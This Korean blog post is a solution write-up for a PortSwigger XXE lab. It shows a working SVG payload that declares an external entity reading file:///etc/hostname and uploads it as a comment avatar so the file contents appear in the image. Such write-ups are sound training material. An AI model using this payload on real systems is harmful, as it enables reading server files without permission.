본문 바로가기
Portswigger/XXE

Portswigger - Exploiting XXE via image file upload solution

by jh117jh 2023. 12. 29.
728x90

 

이번 문제는 댓글에 이미지를 xml형식으로 업로드해 /etc/hostname파일의 내용을 표시하는 이미지를 업로드하면 된다.

 

이미지 형식 중 xml을 이용하는 형식은 svg가 있다.

 

 

우선 댓글을 작성하고 패킷을 탈취해 보면 

각 데이터가 전송되는걸 볼 수 있다.

 

이중 avatar속성이 이미지이며 xml을 통해 작성하면 된다.

 

<?xml version="1.0"?>
<!DOCTYPE jh [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="17" x="0" y="100">&xxe;</text></svg>

 

jh라는 외부 엔티티를 /etc/hostname/ 파일 경로로 선언해 주고 svg태그를 이용해 적당한 넓이와 높이 폰트사이즈와 x, y를 설정해준다음 &xxe;로 외부 엔티티를 참조해 주면

 

 

댓글 아바타 이미지에 코드가 보이는 걸 확인할 수 있다.

51300d948031

 

이 코드를 답안으로 제출하면 문제가 풀린다.

 

728x90